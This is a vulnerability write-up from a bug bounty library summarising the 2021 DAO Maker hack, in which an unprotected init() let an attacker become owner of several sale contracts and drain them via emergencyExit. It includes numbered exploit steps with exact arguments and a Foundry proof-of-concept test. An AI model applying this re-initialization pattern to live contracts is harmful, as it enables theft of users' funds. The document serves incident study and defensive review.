# DAO Maker: unprotected init re-initialization drains emergencyExit funds

Unprotected init() on DAO Maker sale contracts let attacker re-initialize as owner and call emergencyExit to drain CAPS, CPD, DERC and SHO tokens.

- Payout: Real-world hack
- Severity: critical
- Program: DAO Maker
- Analysis by: DeFiHackLabs
- Disclosed: 2021-09-03
- Write-up quality: 6/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2021-09/DaoMaker_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20210903-daomaker
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:source-review vuln:access-control vuln:auth-bypass

**Target:** DAO Maker token sale contracts (emergencyExit/init)
**Root cause:** The init() initializer was left callable by anyone, so the attacker re-initialized the contract with their own parameters and became owner, gaining authority to invoke emergencyExit.
**Steps:**
1. Fork mainnet at block 13155320.
2. Call `daomaker.init(1_640_984_401, releasePeriods, releasePercents, 0x9fa69536d1cda4A04cFB50688294de75B505a9aE)` with releasePeriods=[5702400], releasePercents=[10000] to become owner.
3. Call `daomaker.emergencyExit(address(this))` to drain tokens to attacker.
**Exploitation:** Attacker re-initialized each affected sale contract via the unprotected init(), taking ownership, then called emergencyExit to transfer the contract's token balances (13.5M CAPS, 2.5M CPD twice, 1.44M DERC, ~20.6M SHO) to themselves.
**Escalation:** Repeated the same init+emergencyExit pattern across four separate sale contracts to aggregate multiple token balances.
**Insight:** On forked/upgraded sale or vesting contracts, check whether the initializer (init/initialize) is still callable post-deployment; if so, re-initializing to become owner unlocks privileged drain functions like emergencyExit.

## Proof of concept (copied exactly from the original report)

**Foundry test re-initializing and draining via emergencyExit**

```
function testExploit() public {
        uint256[] memory releasePeriods = new uint256[](1);
        releasePeriods[0] = 5_702_400;
        uint256[] memory releasePercents = new uint256[](1);
        releasePercents[0] = 10_000;

        emit log_named_decimal_uint("Before exploiting, Attacker DERC balance", DERC.balanceOf(address(this)), 18);

        // initialize to become contract owner
        daomaker.init(1_640_984_401, releasePeriods, releasePercents, 0x9fa69536d1cda4A04cFB50688294de75B505a9aE);

        // call emergencyExit to drain out the token.
        daomaker.emergencyExit(address(this));

        emit log_named_decimal_uint("After exploiting, Attacker DERC balance", DERC.balanceOf(address(this)), 18);
```

